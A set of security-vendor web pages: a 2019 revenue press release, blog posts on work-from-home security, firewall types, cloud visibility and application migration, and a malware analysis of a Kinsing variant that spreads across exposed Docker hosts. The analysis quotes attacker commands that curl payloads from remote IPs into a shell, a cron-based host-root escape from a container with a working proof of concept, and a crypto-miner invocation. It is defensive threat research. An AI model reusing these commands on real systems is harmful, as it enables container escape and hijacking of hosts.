Leader in network security management solutions reports strong year-over-year product revenue growth of 43% in Q4 2019 and 26% in full year 2019 AlgoSec Celebrates Record Quarter in Q4 2019 and Another Record Year of Strong Growth and Profitability in 2019 Leader in network security management solutions reports strong year-over-year product revenue growth of 43% in Q4 2019 and 26% in full year 2019 February 18, 2020 Speak to one of our experts RIDGEFIELD PARK, N.J., Feb. 18, 2020 – AlgoSec , the leading provider of business-driven network security management solutions, has announced strong growth in product revenues and total revenues in 2019. For the full year, AlgoSec reported a profitable 2019 with: 26% increase in product revenues over 2018 17% increase in total revenues over 2018 Close to 100 new customers won, many of which were competitive wins, including several actual replacements of products from AlgoSec’s direct competitors. The company also concluded its best-ever quarter to date in Q4 2019: 43% increase in product revenues compared to Q4 2018 27% increase in total revenues compared to Q4 2018 Over 50 open positions for immediate hiring “2019 was a very successful year across every aspect of our business,” said Yuval Baron, AlgoSec Chief Executive Officer. “We exceeded our sales targets, strengthened cashflow and won nearly 100 new customers with several million dollar-plus contracts. In addition, Cisco added AlgoSec to its Global Price List, we strengthened our channel partnerships globally, and expanded our senior management team. The demand for our solutions is accelerating as we become increasingly mission-critical to our customers’ business.” Solution innovations AlgoSec introduced several key innovations in 2019 to help enterprise customers address their network security management challenges. These include: The launch of CloudFlow, a cloud-focused security solution that delivers comprehensive visibility and management of all the security control layers across enterprise multi-cloud and hybrid estates. The latest A30 release of AlgoSec’s core Network Security Management Suite which features new Horizon AppViz and AppChange add-ons, bringing unsurpassed application visibility and network auto-discovery capabilities, and extending support for Cisco ACI A new extension to the IBM® Resilient® Incident Response Platform, enabling organizations to tie security incidents and attacks directly to relevant business processes AlgoSec’s Security Management Suite was chosen as the only SC Labs ‘Best Buy’ solution in 2019’s SC Magazine Risk Management Group Test , and secured a perfect 5 out of 5 rating in each of the 6 categories. AlgoSec was also the highest-ranked solution in its category on IT Central Station , which features enterprise product reviews from real users, based on the highest ratings, most reviews, and most views in its product segment. New industry partnerships AlgoSec’s integrated solution for Cisco ACI and security devices is now available on Cisco’s Global Price List, enabling Cisco’s direct and channel sales network to offer AlgoSec solutions to customers. Announced in November 2019, the integrated solution also enables mutual customers to realize the full potential of intent-based Data Centers. Strengthened executive management team AlgoSec further expanded its executive team in 2019, with Chris Thomas joining in the role of Chief Revenue Officer to lead global revenue-generation activities, Ilan Erez appointed as Chief Financial Officer and General Manager to help drive multi-faceted business growth, and Zvika Menachemi as VP of Research & Development to help advance the development of AlgoSec’s network and Cloud Security Policy Management Solutions. About AlgoSec The leading provider of business-driven network security management solutions, AlgoSec helps the world’s largest organizations align security with their mission-critical business processes. With AlgoSec, users can discover, map and migrate business application connectivity, proactively analyze risk from the business perspective, tie cyber-attacks to business processes and intelligently automate network security changes with zero touch – across their cloud, SDN and on-premise networks. Over 1,800 enterprises , including 20 of the Fortune 50, have utilized AlgoSec’s solutions to make their organizations more agile, more secure and more compliant – all the time. Since 2005, AlgoSec has shown its commitment to customer satisfaction with the industry’s only money-back guarantee . All product and company names herein may be trademarks of their registered owners. *** Media Contacts:Tsippi [email protected]

Recommendations from Rajpreet Kaur, Senior Principal Analyst at Gartner, in her recent blog on remote working, and a perspective on how... Security Policy Management Deploying NSPM to Implement a Gartner Analyst’s Work from Home Network Security Advice Jeffrey Starr 2 min read Jeffrey Starr Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 4/27/20 Published Recommendations from Rajpreet Kaur, Senior Principal Analyst at Gartner, in her recent blog on remote working, and a perspective on how Network Security Policy Management systems can help enterprises act upon this guidance The COVID-19 pandemic has been the catalyst for a global migration to remote home working. Managing and mitigating the network security risks this presents, on such an unprecedented scale and for a long period of time, poses a significant challenge even for companies that had remote access working plans in place before the pandemic. Not only are cybercriminals taking advantage of network insecurities to leverage attacks, they are also exploiting human anxiety around the crisis to break through security barriers. In fact, a recent survey found that 40 percent of companies reported seeing increased cyberattacks as they enable remote working. So how should organizations manage their security during these massive changes in network usage? In a recent blog , Rajpreet Kaur , Gartner Senior Principal Analyst, and a specialized expert on both hybrid environment network security and NSPM tools, offered recommendations to organizations on how to handle remote infrastructure security challenges, many of which closely align with a focus on network policy automation and application security. Here’s how network security policy management systems can support and enable Rajpreet Kaur’s key recommendations. 1. Don’t panic and start moving things to the cloud without a proper architectural design in place. Panicking and starting a large-scale move to the cloud without a proper plan in place can lead to poor security controls and ill-prepared migration. Before moving to the cloud, organizations must consider their network’s architectural design, which should always start with analysis. The analytical and discovery capabilities of NSPM systems automate this process by discovering and mapping network connectivity and providing a network map, which helps you to understand your network components, making migrations easier, faster and glitch-free. 2. Design a proper network security architecture and plan considering limited disruption and supporting work from home. Implementing these immediate and urgent network changes can only be done effectively and securely with robust change management processes. As with network analysis, NSPM automation capabilities are also vital in rapid change management. Security automation dramatically accelerates change processes, with request generation to implementation time drastically shortened and enables better enforcement and auditing for regulatory compliance. It also helps organizations overcome skill gaps and staffing limitations, which may have already been impacted by the current crisis. NSPM solutions enable full end-to-end change analysis and automation, including what if security checks, automation design, push of changes, and full documentation and audit trail. This ensures that changes can be implemented rapidly, and applied consistently and efficiently, with a full audit trail of every change. 3. Plan for what you need now, don’t try to implement a long-term strategic solution to fix your immediate needs. The current widespread move to home working is adding an extra layer of complexity to remote network security, since organizations are finding themselves having to implement new security policies and roll out adoption in a very short timeframe. Considering this, it’s important for organizations to focus on short-term needs, rather than attempting to develop a long-term strategic solution. Trying to develop a long-term solution in such a short window can be overwhelming and increase the risk of opening security vulnerabilities. Using NSPM speeds up the configuration and implementation process, allowing you to get your remote network security firewall policies up and running as soon as possible, with minimum disruption to your remote workforce. Once you have dealt with the critical immediate needs, you can then focus on developing a more long-term strategy. 4. Try to support your existing work from home employees by doing minimal changes to the existing architecture, like meeting throughput requirements and upgrading the equipment or restricting the access to a group of employees at times. Managing application connectivity and accessibility is key to ensuring minimal work disruption as employees move to remote working. An effective NSPM solution allows you to discover, identify and map business applications to ensure that they are safe and have the necessary connectivity flows. Having such a view of all the applications that are accessing the network allows security teams to map the workflow and provides visibility of the application’s required connectivity in order to minimise outages. 5. For any new network changes and upgrades, or new deployments, consider developing a work from home first strategy. Developing a work from home (WFH) strategy has never been more essential. The challenge is that WFH is a more vulnerable environment; employees are accessing sensitive data from a range of home devices, via outside networks, that may not have the same security controls. On top of this, cyber threats have already seen a sharp increase as cybercriminals exploit the widespread anxiety and vulnerabilities caused by the global crisis. IT security and networking staff are therefore having to do more, with the same staffing levels, whilst also navigating the challenges of doing this remotely from home. NSPM capabilities can help in overcoming these WFH issues. Security teams may, for example, need to change many Firewall rules to allow secure access to sensitive data. An effective NSPM solution can facilitate this and enable fast deployment by providing the ability to make changes to applications’ firewall openings from a single management interface. 6. Enhance security around public facing applications to protect against COVID-19 related cyber-attacks. With the move to remote working, organizations are increasingly relying on applications to carry out their work from home. Ensuring that business-critical applications stay available and secure while shifting to remote work is key to avoiding workflow disruption. It’s essential to take an application centric approach to application security, and an effective NSPM solution can help you to better manage and secure your business-critical applications . As discussed above, application visibility is key here. NSPM systems provides comprehensive application visibility, security operation teams can monitor critical applications for risks and vulnerabilities to ensure that they are safe. Gartner’s Rajpreet Kaur has delivered a good combination of practical and timely guidance along with the logical insights underlying the useful recommendations. These tips bring helpful guidance on the Work from Home security challenge that stands out for its clear relevance when there is now so much other noise out there. A robust NSPM can help you rapidly implement these invaluable recommendations. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Before your organization can move business applications to the cloud, it must deploy network security solutions that can reliably block... Network Segmentation Host-based firewalls vs. network-based firewalls for network security? Prof. Avishai Wool 2 min read Prof. Avishai Wool Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/28/23 Published Before your organization can move business applications to the cloud, it must deploy network security solutions that can reliably block cybercrime and malware. Firewalls are essential cybersecurity tools that protect network traffic against threat actors. There are many different types of firewalls available, but put the same basic principles in action. Before finding out which types of firewalls offer the best security performance for your cloud implementation, it’s important to cover how firewalls work and what characteristics set them apart. How firewalls work: Different types of firewalls explained Firewalls are best explained through analogy. Think of firewalls as 24/7 security guards with deep knowledge of millions of criminals. Whenever the security guard sees a criminal approaching an access point, they block access and turn the criminal away. This kind of access control is accomplished in a few different ways. Some firewalls inspect packets for suspicious characteristics. Others use stateful inspection to identify malicious traffic. Some incorporate contextual awareness to tell the difference between harmless traffic and cyberattacks . Here are some of the major types of firewalls and how they work: Packet filtering firewalls inspect data traveling through inline junction points like routers and switches. They don’t route data packets themselves, but compare them to a list of firewall rules. For example, they may filter packets that are traveling to untrusted IP addresses and drop them. Circuit-level gateways monitor TCP handshake data and other protocol messages for signs of unauthorized access. These firewalls don’t inspect individual packets or application layer monitoring, though. Proxy firewalls apply application layer filtering that filters data according to a wide range of characteristics. This category includes web application firewalls, which are a type of reverse proxy firewall – they protect the server from malicious traffic by filtering clients before they reach the server. Stateful inspection firewalls examine and compare multiple packets to find out if they are part of an established network session. This offers a high degree of control over incoming and outgoing traffic while providing comprehensive logs on network connections. Next-generation firewalls combine packet inspection, stateful inspection, antivirus, and additional technologies to protect organizations against unknown threats and vulnerabilities. These firewalls are expensive and have high bandwidth requirements, but they also offer a high level of protection. All of these firewalls exist in different forms. Traditional hardware firewalls are physical devices that sit between network devices and the internet. Network-based firewalls are software-defined apps designed to do the same thing. Hardware, software, or cloud? firewall deployment methods compared Organizations have multiple options when deciding to host firewalls on their private networks. The market offers a vast number of security devices and firewall providers, ranging from Cisco hardware to software solutions like Microsoft’s Windows firewall. Large enterprises use a combination of firewall solutions to adopt a multi-layered security posture. This allows them to achieve network scalability and segmentation while offering different levels of protection to data centers, individual devices, and user endpoints. As firewall technology becomes more accessible, smaller organizations are following suit. Here are some of the delivery formats that firewall solutions commonly come in: Network-based Firewalls are self-contained hardware appliances. They typically run custom operating systems using Linux distributions designed for secure computer networking. They can be challenging to configure and deploy, but are appropriate for a wide range of use cases. Host-based Firewalls run as software on a server or other device. You can run host-based firewalls on individual computers, or at the host level of a cloud environment. The firewalls offer granular control over security rules and individual hosts, but consume resources in the process. Cloud Hosted Firewalls are provided by third-party security partners as a service. These firewalls may be entirely managed by a third-party partner, making them ideal for small organizations that can’t afford building their own security infrastructure from the ground up. How to select an optimal firewall solution for your organization Every organization has a unique security risk profile. Finding the right firewall deployment for your organization requires in-depth knowledge of your network’s security vulnerabilities and potential for long-term growth. Some of the issues you have to consider include: Identifying technical objectives for individual firewalls. There are no one-size-fits-all firewall solutions. One solution may match a particular use case that another does not. Both stateless packet inspection firewalls and sophisticated next-generation solutions operate at different levels of the OSI model, which means each device should serve a well-defined purpose. Selecting firewall solutions that match your team’s expertise. Consider your IT team’s technical qualifications. If configuring a sophisticated next-generation firewall requires adding talent with specialized certifications to your team, the cost of that deployment will rise considerably. Deploying firewalls in ways that improve security performance while reducing waste. Optimal firewall architecture requires effective network segmentation and good security policies. Deploying a secure local area network (LAN) and using virtual private networks (VPNs) can help optimize firewall placement throughout the organization. Determining which kinds of traffic inspection are necessary. Different types of network connections require different levels of security. For example, a public-facing Wi-Fi router is far more likely to encounter malicious traffic than an internal virtual local area network (VLAN) that only authenticated employees can access. How to choose between host-based firewalls and network-based firewalls when moving to the cloud Organizations that are transitioning to cloud infrastructure need to completely rethink their firewall deployment strategy. Firewalls are the cornerstone of access control, and cloud-hosted infrastructure comes with the shared responsibility model that puts pressure on security leaders to carefully deploy security resources. In many cases, you’ll face tough decisions concerning which type of firewall to deploy at particular points in your network. Building an optimal deployment means working through the pros and cons of each option on a case-by-case basis. Host-based firewalls and network-based firewalls are the two main options you’ll encounter for most use cases. Let’s look at what each of those options look like from a complete network security perspective . 1. Host-based firewalls offer flexibility but may introduce vulnerabilities A cloud-native organization that exclusively uses host-based firewalls will have a cloud environment filled with virtual machines that take the place of servers and individual computers. To protect those devices, the organization will implement host-based firewalls on every virtual machine and configure them accordingly. This provides the organization with a great deal of flexibility. IT team members can clone virtual machines and move them within the cloud on demand. The host-based firewalls that protect these machines can move right alongside them, ensuring consistent security policies are enforced without painstaking manual configuration. It’s even possible to move virtual machines between cloud environments – like moving a virtual server from Amazon AWS to Microsoft Azure – without having to create completely new security policies in the process. This makes it easy for IT teams to work securely without introducing friction. However, if attackers gain privileged access to host-based firewalls, they gain the same level of control. They may switch off the firewall or install malicious code in ways that other security technologies cannot detect. Even highly secure organizations are subject to this kind of risk. Imagine an attacker compromises the credentials of a system administrator with firewall configuration privileges. Very few obstacles stand between an insider threat and the sensitive data they wish to exfiltrate. Network-based firewalls offer independent security Compared to host-based firewall products, it’s much harder for a malicious insider to compromise a network-based firewall solution managed by a cloud provider. That’s because the physical hardware is operating on a completely separate system from the host. In a cloud-native environment, the network-based firewall would be a fully hardened device managed by a third-party provider running their own intrusion detection systems. This makes it much harder for attackers to successfully infiltrate and compromise systems without being noticed. At the same time, independent network-based firewall architecture means that the attacker would have to compromise both your network and the cloud provider’s network without triggering security alerts from either. This adds a great deal of complexity to any attack, and significantly increases the chance it will be detected. However, few organizations can afford to exclusively deploy hardware firewalls at every layer of their network. Even those that can afford it will run into significant challenges when planning for growth and scalability. Segment your network for optimal protection While they offer increased security, hardware firewalls are costly to deploy and maintain. Most organizations segment their networks in ways that offer extensive multi-layered protection to their most sensitive data while allowing more flexible host-based firewalls to protect less critical assets. Every organization has a unique balance between optimal network-based firewall and host-based firewall deployment. This depends heavily on the volume of sensitive data the organization regularly accesses, and the security of its connections with users and third-party service providers. Proper network segmentation helps reduce the organization’s attack surface and decrease the risk of business disruption. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Cloud network security report 2025 Datasheet Download PDF Download PDF Add a Title Add a Title Add a Title Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Are you tired of playing whack-a-mole with cloud security risks? Do endless compliance reports and alert fatigue leave you feeling... Cloud Security Unleash the Power of Application-Level Visibility: Your Secret Weapon for Conquering Cloud Chaos Asher Benbenisty 2 min read Asher Benbenisty Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 7/22/24 Published Are you tired of playing whack-a-mole with cloud security risks? Do endless compliance reports and alert fatigue leave you feeling overwhelmed? It's time to ditch the outdated, reactive approach and embrace a new era of cloud security that's all about proactive visibility . The Missing Piece: Understanding Your Cloud Applications Imagine this: you have a crystal-clear view of every application running in your cloud environment. You know exactly which resources they're using, what permissions they have, and even the potential security risks they pose. Sounds like a dream, right? Well, it's not just possible – it's essential. Why? Because applications are the beating heart of your business. They're what drive your revenue, enable your operations, and store your valuable data. But they're also complex, interconnected, and constantly changing, making them a prime target for attackers. Gain the Upper Hand with Unbiased Cloud Discovery Don't settle for partial visibility or rely on your cloud vendor's limited tools. You need an unbiased, automated cloud discovery solution that leaves no stone unturned. With it, you can: Shine a Light on Shadow IT: Uncover all those rogue applications running without your knowledge, putting your organization at risk. Visualize the Big Picture: See the intricate relationships between your applications and their resources, making it easy to identify vulnerabilities and attack paths. Assess Risk with Confidence: Get a clear understanding of the security posture of each application, so you can prioritize your efforts and focus on the most critical threats. Stay Ahead of the Game: Continuously monitor your environment for changes, so you're always aware of new risks and vulnerabilities. From Reactive to Proactive: Turn Your Cloud into a Fortress Application-level visibility isn't just about compliance or passing an audit (though it certainly helps with those!). It's about fundamentally changing how you approach cloud security. By understanding your applications at a deeper level, you can: Prioritize with Precision: Focus your remediation efforts on the applications and risks that matter most to your business. Respond with Agility: Quickly identify and address vulnerabilities before they're exploited. Prevent Attacks Before They Happen: Implement proactive security measures, like tightening permissions and enforcing security policies, to stop threats in their tracks. Empower Your Teams: Give your security champions the tools they need to effectively manage risk and ensure the continuous security of your cloud environment. The cloud is an ever-changing landscape, but with application-level visibility as your guiding light, you can confidently navigate the challenges and protect your organization from harm. Don't be left in the dark – embrace the power of application understanding and take your cloud security to the next level! Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

All organizations eventually inherit outdated technology infrastructure. As new technology becomes available, old apps and services... Firewall Change Management The Application Migration Checklist Asher Benbenisty 2 min read Asher Benbenisty Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 10/25/23 Published All organizations eventually inherit outdated technology infrastructure. As new technology becomes available, old apps and services become increasingly expensive to maintain. That expense can come in a variety of forms: Decreased productivity compared to competitors using more modern IT solutions. Greater difficulty scaling IT asset deployments and managing the device life cycle . Security and downtime risks coming from new vulnerabilities and emerging threats. Cloud computing is one of the most significant developments of the past decade. Organizations are increasingly moving their legacy IT assets to new environments hosted on cloud services like Amazon Web Services or Microsoft Azure. Cloud migration projects enable organizations to dramatically improve productivity, scalability, and security by transforming on-premises applications to cloud-hosted solutions. However, cloud migration projects are among the most complex undertakings an organization can attempt. Some reports state that nine out of ten migration projects experience failure or disruption at some point, and only one out of four meet their proposed deadlines. The better prepared you are for your application migration project , the more likely it is to succeed. Keep the following migration checklist handy while pursuing this kind of initiative at your company. Step 1: Assessing Your Applications The more you know about your legacy applications and their characteristics, the more comprehensive you can be with pre-migration planning. Start by identifying the legacy applications that you want to move to the cloud. Pay close attention to the dependencies that your legacy applications have. You will need to ensure the availability of those resources in an IT environment that is very different from the typical on-premises data center. You may need to configure cloud-hosted resources to meet specific needs that are unique to your organization and its network architecture. Evaluate the criticality of each legacy application you plan on migrating to the cloud. You will have to prioritize certain applications over others, minimizing disruption while ensuring the cloud-hosted infrastructure can support the workload you are moving to. There is no one-size-fits-all solution to application migration. The inventory assessment may bring new information to light and force you to change your initial approach. It’s best that you make these accommodations now rather than halfway through the application migration project. Step 2: Choosing the Right Migration Strategy Once you know what applications you want to move to the cloud and what additional dependencies must be addressed for them to work properly, you’re ready to select a migration strategy. These are generalized models that indicate how you’ll transition on-premises applications to cloud-hosted ones in the context of your specific IT environment. Some of the options you should gain familiarity with include: Lift and Shift (Rehosting). This option enables you to automate the migration process using tools like CloudEndure Migration, AWS VM Import/Export, and others. The lift and shift model is well-suited to organizations that need to migrate compatible large-scale enterprise applications without too many additional dependencies, or organizations that are new to the cloud. Replatforming. This is a modified version of the lift and shift model. Essentially, it introduces an additional step where you change the configuration of legacy apps to make them better-suited to the cloud environment. By adding a modernization phase to the process, you can leverage more of the cloud’s unique benefits and migrate more complex apps. Refactoring/Re-architecting. This strategy involves rewriting applications from scratch to make them cloud-native. This allows you to reap the full benefits of cloud technology. Your new applications will be scalable, efficient, and agile to the maximum degree possible. However, it’s a time-consuming, resource-intensive project that introduces significant business risk into the equation. Repurchasing. This is where the organization implements a fully mature cloud architecture as a managed service. It typically relies on a vendor offering cloud migration through the software-as-a-service (SaaS) model. You will need to pay licensing fees, but the technical details of the migration process will largely be the vendor’s responsibility. This is an easy way to add cloud functionality to existing business processes, but it also comes with the risk of vendor lock-in. Step 3: Building Your Migration Team The success of your project relies on creating and leading a migration team that can respond to the needs of the project at every step. There will be obstacles and unexpected issues along the way – a high-quality team with great leadership is crucial for handling those problems when they arise. Before going into the specifics of assembling a great migration team, you’ll need to identify the key stakeholders who have an interest in seeing the project through. This is extremely important because those stakeholders will want to see their interests represented at the team level. If you neglect to represent a major stakeholder at the team level, you run the risk of having major, expensive project milestones rejected later on. Not all stakeholders will have the same level of involvement, and few will share the same values and goals. Managing them effectively means prioritizing the values and goals they represent, and choosing team members accordingly. Your migration team will consist of systems administrators, technical experts, and security practitioners, and include input from many other departments. You’ll need to formalize a system of communicating inside the core team and messaging stakeholders outside of it. You may also wish to involve end users as a distinct part of your migration team and dedicate time to addressing their concerns throughout the process. Keep team members’ stakeholder alignments and interests in mind when assigning responsibilities. For example, if a particular configuration step requires approval from the finance department, you’ll want to make sure that someone representing that department is involved from the beginning. Step 4: Creating a Migration Plan It’s crucial that every migration project follows a comprehensive plan informed by the needs of the organization itself. Organizations pursue cloud migration for many different reasons – your plan should address the problems you expect cloud-hosted technology to solve. This might mean focusing on reducing costs, enabling entry into a new market, or increasing business agility – or all three. You may have additional reasons for pursuing an application migration plan. This plan should also include data mapping . Choosing the right application performance metrics now will help make the decision-making process much easier down the line. Some of 